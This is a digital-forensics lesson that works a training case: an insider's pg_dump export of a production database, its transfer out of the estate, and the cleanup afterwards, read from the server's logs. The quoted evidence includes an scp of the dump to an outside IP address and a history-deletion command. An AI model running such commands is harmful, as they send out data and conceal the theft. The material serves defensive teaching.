Reading width
Wide uses the full column for everything, text, diagrams, code, and exercises. Narrow keeps the standard reading width.
Text size
Scales the body text. Headings and code blocks keep their size.
In this section
Linux Investigation Exercise: An Insider Database Export Worked From Alert to Finding
Introduction
Every lesson in this module read one kind of evidence across several hosts. This one reads every kind of evidence on one host, in the order an investigation takes, and ends with the finding written down. It is the module's last lesson and the shape of the course's capstone in miniature.
The case is INC-NE-2026-0834. Monitoring flagged two anomalies on SRV-NGE-DB02, a RHEL database server: an outbound SCP connection to an outside address, which the server should never make, and a 4.2 GB pg_dump recorded at 22:18 on 18 March, outside working hours and not matching the backup schedule. The brief adds that a senior database administrator, P. Marsh, account pmarsh, had resigned three days earlier.
One host, from the alert to the finding: the order this lesson works in.
Work through the sections in order. Each takes one question from the figure, reads the records that answer it, and says what the answer rests on. The exercise at the end asks you to do the same, and then to judge six statements a report might make.
Who, and How They Got In
The session behind the alertThe first question after any alert is which account was active and how it arrived. pmarsh's recent logins and the session that night:
auth 03-17 09:18 pmarsh publickey from 10.1.10.12
auth 03-18 09:44 pmarsh publickey from 10.1.10.12
auth 03-18 22:15 pmarsh publickey from 10.1.10.12
login 03-18 22:15 pmarsh pts/1 from 10.1.10.12 out 22:37 22min
pmarsh logs in by key from 10.1.10.12 every working day, and did so that morning. At 22:15:10 the same account logged in again, by the same key, from the same address, and stayed for twenty-two minutes. Nothing about the login itself is anomalous except the hour. No failed attempt preceded it, and no other account logged in that evening.
That changes the shape of the investigation. There was no break-in to find: no brute force, no web shell, no planted key. The credential was the account owner's own, used from the account owner's own workstation. Lesson 0.4's question, which door, has the answer that the door was opened with the right key, and every later finding has to reckon with that.
It also sets a limit that the finding will need. The records show an account, a key and a workstation. They cannot show who was sitting at the workstation, and an insider case is exactly where that distinction matters most.
Module 11's lesson on the finding and what it does not support starts from cases like this one. Shared workstations, unlocked screens and keys copied to other machines are all ways the account and the person can come apart, and none of them would show in these records.
The session also fits a pattern lesson 0.4 described from the other side: an account's routine is the baseline every login is read against. Here the routine is a key from one workstation in working hours, and the night session breaks only the last of those three.
A detection that watched method and source would never have fired; one that watched the hour would have. The session's length is worth noting before reading further. Twenty-two minutes is short for a database administrator's evening session, and long enough for what follows.
What Ran
The export and its tablesThe journal from 22:00 on 18 March, with sudo's records shown as the account, the identity it ran as and the command:
22:18:00 sudo pmarsh as postgres: pg_dump -Fc production -f /tmp/production_full
22:18:05 postgresql connection authorized: user=postgres database=production applicati
22:18:10 postgresql statement: COPY public.customers TO stdout
22:20:00 postgresql statement: COPY public.contracts TO stdout
22:22:00 postgresql statement: COPY public.financials TO stdout
22:24:30 postgresql disconnection: session time: 0:06:25.123 user=postgres database=pr
22:26:15 sudo pmarsh as root: scp /tmp/production_full.dump.gz pmarsh@138.68.174
At 22:18:00 pmarsh used sudo to run pg_dump as postgres, exporting the production database to /tmp/production_full.dump. PostgreSQL's own log, kept in the journal, recorded the connection from pg_dump and then the tables it copied: customers, contracts, financials. The session ended at 22:24:30 after six and a half minutes. At 22:26:15 pmarsh used sudo again, as root, to run scp, copying the compressed export to pmarsh@138.68.174.90.
Two systems recorded each step, as lesson 0.3 found on another database server. sudo recorded what was run and as whom; PostgreSQL recorded what was read. Neither is a shell history, and neither could be edited by an account without root. That is why the brief says the journal tells a different story from the history.
The table names make the finding specific. customers, contracts and financials are the tables a business would least want copied, and the export took all three. A finding that names them can go straight to the people deciding on notification; one that says "the database" sends them back with questions.
The timing inside the export says something too. The COPY statements came two minutes apart, customers first and financials last, and the session closed at 22:24:30.
A pg_dump of a whole database copies every table, and the log here names three; whether those were the only tables in the production database or the only ones the collection recorded is a question for the database's own schema, and the finding should name the three it can prove rather than claim they were all.
The transfer was run as root through sudo, which means pmarsh's sudo rule allowed scp as root. That is a configuration question for after the incident, and lesson 0.5's point applies: a rule written for an administrator's convenience is a route anyone holding the account can use.
Where It Went
The compressed copy, the transfer and its traceThe collection recovered the export and its compressed copy, both deleted, and kept a socket left over from the transfer:
file /tmp/production_full.dump 4200000000 modified 22:24:30 deleted 22:35:00
file /tmp/production_full.dump.gz 890000000 modified 22:25:45 deleted 22:35:10
socket 10.1.20.30:48210 -> 138.68.174.90:22 TIME_WAIT
The export was 4,200,000,000 bytes, written by 22:24:30. The compressed copy was 890,000,000 bytes, about 4.7 times smaller, written at 22:25:45 and owned by pmarsh. The socket table still held a connection from the database server to 138.68.174.90 on port 22 in TIME_WAIT, the state a connection is left in for a short time after it closes. It is the outbound SCP the monitoring flagged.
Three independent records, written by three different parts of the system, support the transfer: the sudo record of the scp command, the socket's remains, and the alert itself. The compressed file's size bounds what crossed the network, which is the figure a notification decision will need.
There is a fourth record that does not fit. At 22:26:18, three seconds after the scp, the journal holds a line reading as sshd accepting a key for pmarsh from 138.68.174.90. An outbound copy from this server would not produce an inbound acceptance on this server; it would be recorded on the destination.
Either the line is misattributed by the collection or it describes something the other records do not. The transfer is established without it, so the finding leaves it out of its support and notes the disagreement, as lessons 0.5 and 0.8 did with theirs.
Notice also the destination path in the scp command: a backups directory under pmarsh's own home on the outside host. That is consistent with a server the account's owner controls, but it is a path chosen by whoever typed the command, and it proves nothing about who owns the machine. The finding can quote it; it cannot rest an identification on it.
What none of these records can say is what happened to the copy after it arrived. 138.68.174.90 is outside the estate, and this host's evidence stops at its edge.
What Was Hidden, and What Survived
Deletions, an edited history, and the records it did not reachAt 22:35 both files were deleted. A minute later the history was edited:
history 03-16 12:20 systemctl status postgresql-15
history 03-17 15:22 psql -U postgres -d production -c "SELECT count(*) FROM custom
history 03-18 22:36 history -d $(history | grep pg_dump | awk "{print \$1}")
file /home/pmarsh/.bash_history modified 03-18 22:36:05 2847 bytes
pmarsh's history holds ordinary administrative commands from earlier in the week, a count of the customers table the day before, and then one line from the night: history -d with a command that finds the line containing pg_dump and deletes it. The pg_dump and scp commands are not in the history at all. The history file's modification time, 22:36:05, sits inside the session.
The cover-up was careful and incomplete. The command that deleted the history line was itself recorded, because it was the last line written before the shell exited.
The files were deleted, but the collection recovered both, with their deletion times. And the two systems that recorded everything, sudo and PostgreSQL through the journal, were never touched, because the account could not touch them without root and did not use its sudo rights to try.
That pattern is common in insider cases. An insider knows the visible traces of their own work, the history and the files, and removes those. They rarely know, or think about, the records the system keeps on their behalf. Lesson 0.3's point that logs overlap and fail separately is what makes such a case solvable.
The deletion times also order the cover-up exactly. The export went at 22:35:00, the compressed copy ten seconds later, the history edit at 22:36, and the session closed at 22:37. That is someone finishing a task and tidying up in the order they thought of things, and it places every step of the cover-up after the transfer, which matters: nothing was deleted before the copy left.
The customers count the day before also belongs in the timeline. It is a single query, and it proves nothing alone, but in a finding about an export of that table it is a record a reader will want to see, stated as what it is: a check of the table's size, the afternoon before.
Against the Routine
Why this was not the backupA database export is not suspicious in itself. Database servers are exported every night. The question is whether this one was the routine or something else, and the routine is in the records:
cron pgbackup 0 2 * * * /usr/local/bin/pg_backup.sh
journal 03-18 02:00 (pgbackup) CMD (/usr/local/bin/pg_backup.sh)
journal 03-19 02:00 (pgbackup) CMD (/usr/local/bin/pg_backup.sh)
journal 03-20 02:00 (pgbackup) CMD (/usr/local/bin/pg_backup.sh)
file /backups/production_daily_20260318.sql.gz 958967674 pgbackup
file /backups/production_daily_20260319.sql.gz 1157685158 pgbackup
file /backups/production_daily_20260320.sql.gz 1129331414 pgbackup
The scheduled backup runs at 02:00 every night as pgbackup, from cron, and writes compressed files of about a gigabyte to /backups, named by date. The export on 18 March differs on every axis: it ran at 22:18, as pmarsh through sudo, by hand, wrote to /tmp, was compressed separately, copied off the server, and then deleted.
The sizes agree with that reading. The nightly backups are around a gigabyte compressed; the night's compressed export was 890,000,000 bytes. Close enough to be a full copy of the same data, which is what a reader would expect if the export was the whole database rather than a slice.
That comparison is what turns "a dump was taken" into a finding. Without the routine, a reader could reasonably ask whether the export was an administrator's legitimate work. With it, the export is an action outside every pattern the server keeps, by an account that had no scheduled reason to export at that hour.
The context from the brief belongs here too, carefully, and in its own paragraph of the report. pmarsh's owner had resigned three days earlier. That is context for the people deciding what to do, not evidence of what the account did, and the finding should present it as context. The records establish what happened; motive is for others to judge.
Module 11's lesson on writing for the people who decide is about keeping those two apart, so that a reader can act on what is proved without mistaking what is suggested for it.
The backup files also answer a question a reader might raise: could the export have been a manual backup run because the scheduled one failed?
The journal shows the scheduled job ran at 02:00 that morning and the next, and the backup directory holds a file for each day. Nothing was missing that a manual run would replace. And a manual backup would not have been copied to an outside address and then deleted.
The Finding, and What It Does Not Support
Writing it downPut the sections together and the finding can be written in four parts:
The finding, as it can be written
Supported and notEach supported line rests on more than one record, and every record is named in the sections above, so a reader who doubts a line can go straight to what supports it. The unsupported line is as important as the others.
The records show the pmarsh account, its key and its workstation, not the person; they show the copy leaving, not what was done with it; and they show nothing about why. A finding that claims any of those is claiming more than the host can say.
That is the standard every lesson in this module has applied: say what each record supports, write down disagreements rather than smoothing them over, and stop where the evidence stops. Here it produces a finding that is short, specific and hard to argue with, because every claim in it points to records an opponent cannot dispute.
It is also a finding that tells the business what to do next. Notification decisions for the three tables and the people in them. Revocation of the account's key and its sudo rule, the same day. A request to the provider of 138.68.174.90, through the proper channels.
A review of every server where pmarsh's key is trusted, which is lesson 0.7's question. None of those follow from the technical findings alone; all of them follow from a finding written clearly enough for someone else to act on.
The finding also stays short. Four parts, each a sentence or two, each with its records named in the full report behind it. The detail lives in the sections above; the finding is what a reader who has two minutes needs, and what they will quote.
The last check before the finding leaves the investigator is to read it as someone who wants it to be wrong. Every claim should survive that reading, because sooner or later someone will make it.
What Module 11 and the Course Build On It
Readiness and reportingModule 11 is about what decides an investigation's worth before and after the work: the playbook and what it cannot decide, the collection script and what it trusts, testing readiness, measuring the response, the finding and what it does not support, writing for the people who decide, remediation, and what constrains the work.
What Module 11 builds
Module 11It is also the module that decides whether the next investigation goes as well as this one. This case is its material in short. The collection held the journal, the deleted files and the socket table because someone had built it to; that is readiness.
The finding states what it does not support; that is Module 11's sixth lesson. And the recommendations follow from the finding rather than from the technical detail; that is writing for decision-makers.
The course's earlier modules each contributed a section, which is the point of ending Module 0 this way. The login was Module 4, the sudo rule Module 5, the export and transfer Modules 3 and 2, the recovered files Module 2, the routine Module 6's baseline, and the cross-host question Module 7.
The habits this module built all appeared: the acquisition boundary, the inode, overlapping logs, the door, the route to root, persistence and its absence, the graph, and the line between what is proved and what is not.
Module 11 also looks back at the investigation as a piece of work. How long did it take from the alert to the finding? Which records were in the collection because someone planned for them, and which were luck? What would have made this case faster, or the next one possible at all?
Those are readiness questions, and they are answered best straight after a case, while its gaps are still visible. On this host the answer is encouraging: the journal was kept, sudo logged to it, PostgreSQL logged its statements, and the collection recovered deleted files. Each of those was a decision someone made before 18 March.
Practice
Work the host, then judge the finding prepared evidenceThe exercise below has two tabs: every record from SRV-NGE-DB02 on the night of 18 March, and six statements a report might make.
Find the first action of the exfiltration, the records of the attempt to hide it, the statements the evidence does not support, and the right treatment of the journal line that does not fit. Each answer comes with its reasoning, so check it against both tabs rather than only the choice.
Work the timeline first, in order, and write down what each record adds that the records before it did not. Then take each statement and ask which record would have to exist for it to be true. Where no such record exists on this host, the statement is not supported, however likely it seems.
Read the odd journal line as well when you reach it. It is in the timeline because it is in the evidence; the question is what weight to give it, and the answer depends on whether it agrees with the records around it.
Then write the finding yourself in four sentences, without looking at the card above, and compare. Put the records each sentence rests on beside it, in brackets, the way a full report would. Note any sentence you wrote that claims more than a record supports, and rewrite it until it does not.
One host, worked from the alert to a written finding. The account's own key opened the session; sudo and PostgreSQL recorded an export of three tables and a copy to an outside address; the files were deleted and the history edited, but the records the account could not touch were untouched.
The finding states what happened and what was taken, and says plainly that it does not show who was at the keyboard or what became of the copy.
That is the end of Module 0. The modules that follow take each lesson in it and build it properly, on lab hosts where every record can be checked against what actually happened.